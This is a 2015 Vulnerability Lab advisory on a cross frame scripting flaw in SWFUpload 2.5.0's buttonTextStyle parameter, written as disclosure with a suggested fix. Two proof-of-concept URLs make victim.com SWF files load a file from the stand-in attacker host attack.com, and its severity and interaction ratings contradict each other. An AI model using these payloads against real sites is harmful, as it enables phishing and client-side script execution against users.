SWFupload 2.5.0 - Cross Frame Scripting (XFS) Vulnerability

Document Title:
===============
SWFupload 2.5.0 - Cross Frame Scripting (XFS) Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1422


Release Date:
=============
2015-01-25


Vulnerability Laboratory ID (VL-ID):
====================================
1422


Common Vulnerability Scoring System:
====================================
2.3


Product & Service Introduction:
===============================
SWFUpload is a JavaScript Library that wraps the Flash Player`s upload function. It brings your uploads to the next level with Multiple File Selection, 
Upload Progress and Client-side File Size Checking. Unlike other Flash upload tools, SWFUpload leaves the UI in the developer`s hands. Using a set of 
event handlers developers can display upload progress and status to the user in their own HTML/CSS UI. SWFUpload has been featured in such 
projects as YouTube and WordPress.

(Copy of the Vendor Homepage: http://sourceforge.net/projects/swfupload.mirror/ )


Abstract Advisory Information:
==============================
An indepnedent Vulnerability Laboratory Researcher discovered multiple client-side cross frame scripting vulnerability in the official SWFupload v2.5.0 script.


Vulnerability Disclosure Timeline:
==================================
2015-01-25:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
SF-Editor
Product: SWFUpload - JavaScript & Flash Upload Library 2.5.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
Multiple Cross Frame Scripting Vulnerabilities has been discovered in the official SWFupload v2.5.0 script.

The cross frame scripting vulnerability occurs when a SWF file has the permission or is able able to load 
another file as source of another directory/site.The vulnerable swf file can be exploited by remote attackers 
without privileged application user account and low or medium user interaction. As you can see the .buttonTextStyle 
variable (view: proof of concept) is not well configured (adding the value) and the ButtonTextStyle will accept 
any value. The vulneralbe SWF will loads any file that is getting attached to the parameter by default configuration. 
Remote attackers are able to exploit the issue with medium or high user interaction.

The security risk of the client-side cross frame scripting web vulnerability is estimated as medium with a cvss 
(common vulnerability scoring system) count of 2.3. Exploitation of the client-side remote vulnerability requires medium 
or high user interaction and no privileged application user account. Successful exploitation results in client-side phishing, 
client-side external redirects and non-persistent manipulation of affected- or connected module context.

Vulnerable Service(s):
                          [+] GET

Vulnerable File(s):
                          [+] buttontextstyle.swf
                          [+] swfupload.swf

Vulnerable Parameter(s):
                          [+] buttonTextStyle


Proof of Concept (PoC):
=======================
1.1
The client-side XFS vulnerability can be exploited by remote attackers without privileged application user account and with medium or high user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: http://victim.com/buttontextstyle.swf?buttonTextStyle=http://attack.com/Exploiting.swf[CLIENT-SIDE SCRIPT CODE EXECUTION!]

Vulnerable Code :
ExternalInterface.addCallback("SetButtonTextStyle",this.SetButtonTextStyle);

  this.SetButtonTextStyle(String(root.loaderInfo.parameters.buttonTextStyle));
         }
         catch(ex:Object)
         {
            this.SetButtonTextStyle("");
         }
         try
         {



1.2
The client-side XFS vulnerability can be exploited by remote attackers without privileged application user account and with medium or high user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: http://victim.com/swfupload.swf?buttonTextStyle=http://attack.com/Exploiting.swf[CLIENT-SIDE SCRIPT CODE EXECUTION!]

ExternalInterface.addCallback("SetButtonText",this.SetButtonText);
SetButtonText

{
            this.SetButtonText(String(root.loaderInfo.parameters.buttonText));
         }
         catch(ex:Object)
         {
            this.SetButtonText("");
         }
         try
         {


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable `buttonTextStyle` value in the buttontextstyle.swf and swfupload.swf files.
Restrict the input to the vulnerable values and disallow special chars. Filter with an own exception-ahndling to prevent execution of client-side injected script codes.


Security Risk:
==============
The security risk of the client-side web vulnerability is estimated as medium.


Credits & Authors:
==================
Habib Ullah - [email protected]


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=========================
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